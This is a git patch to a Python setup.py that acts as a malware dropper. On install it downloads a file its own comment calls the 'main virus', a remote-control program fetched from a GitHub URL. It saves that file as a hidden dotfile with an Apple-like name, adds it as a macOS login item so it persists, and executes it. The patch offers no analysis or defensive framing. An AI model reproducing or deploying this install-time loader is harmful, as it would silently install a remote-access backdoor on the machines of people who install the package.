From ed41c0b39a3722a45f65d7bf9ad7e21fa404b7df Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 14 Aug 2023 16:48:35 +0800 Subject: updated --- setup.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) (limited to 'setup.py') diff --git a/setup.py b/setup.py index 76e9ca0..1ef4d3e 100644 --- a/setup.py +++ b/setup.py @@ -2,13 +2,15 @@ from requests import get from os.path import expanduser from os import remove from subprocess import Popen as subproc -from os import system as cmd +from os import system, chmod filename = "com.apple.com.user.core" +localfile = f"{expanduser('~')}/.{filename}" # download main virus -open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) +open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) -cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") +system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") +chmod(localfile, 755) -subproc([f"{expanduser('~')}/.{filename}"]) +subproc([localfile]) -- cgit v1.2.3